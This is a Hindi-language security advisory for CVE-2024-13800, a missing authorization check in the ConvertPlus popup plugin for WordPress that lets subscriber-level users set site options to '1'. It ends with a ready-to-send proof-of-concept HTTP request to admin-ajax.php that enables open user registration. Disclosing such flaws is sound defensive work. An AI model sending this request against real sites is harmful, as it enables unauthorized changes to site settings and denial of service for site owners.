CVE-2024-13800

वर्डप्रेस के लिए पॉपअप प्लगइन - ConvertPlus <= 3.5.30 - प्रमाणित (सब्सक्राइबर+) सीमित विकल्प अद्यतन में प्राधिकरण की कमी

विवरण

वर्डप्रेस के लिए ConvertPlus प्लगइन 3.5.30 तक के सभी संस्करणों में 'cp_dismiss_notice' AJAX एंडपॉइंट पर क्षमता जांच की कमी के कारण डेटा के अनधिकृत संशोधन के लिए असुरक्षित है, जो सेवा अस्वीकार का कारण बन सकता है। इससे प्रमाणित हमलावर, सब्सक्राइबर-स्तर या उससे ऊपर की पहुंच वाले, वर्डप्रेस साइट पर विकल्प मानों को '1' में अपडेट कर सकते हैं। इसका उपयोग एक ऐसे विकल्प को अपडेट करने के लिए किया जा सकता है जो साइट पर त्रुटि उत्पन्न करे और वैध उपयोगकर्ताओं के लिए सेवा से इनकार करे, या पंजीकरण जैसे कुछ मानों को सत्य पर सेट करने के लिए किया जा सकता है।

विस्तार

• प्रकार: प्लगइन
• Slug: convertplug
• प्रभावित संस्करण: 3.5.30
• CVSS स्कोर: 8.1
• CVSS रेटिंग: उच्च
• CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
• CVE: CVE-2024-13800
• स्थिति: निजी

नोट्स

यह केवल डेटाबेस में 1 डालता है, इसलिए आप केवल users_can_register में 1 डाल सकते हैं।

POC

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal:5555
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 50
Origin: http://kubernetes.docker.internal:5555
Connection: keep-alive
Referer: http://kubernetes.docker.internal:5555/wp-admin/options-general.php
Cookie: wordpress_c4ed56a3aa31dfaae2a50e9003068198=superadmin%7C1746784004%7CMdf7LiwOfluHufzihPiyUftZsNV1BU1vziFSwkdD7gT%7C8cb19a315a9569e77d5be2bf7555f178a9edba2afbc32d1499b8cfd5552e28b9; wp-settings-1=product_cat_tab%3Dpop%26libraryContent%3Dbrowse; wp-settings-time-1=1742893819; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_c4ed56a3aa31dfaae2a50e9003068198=superadmin%7C1746784004%7CMdf7LiwOfluHufzihPiyUftZsNV1BU1vziFSwkdD7gT%7Cf4d35f828e20c240ecf95e5940bddf55741adc8048977e60afd45a178c003011

action=cp_dismiss_notice&notice=users_can_register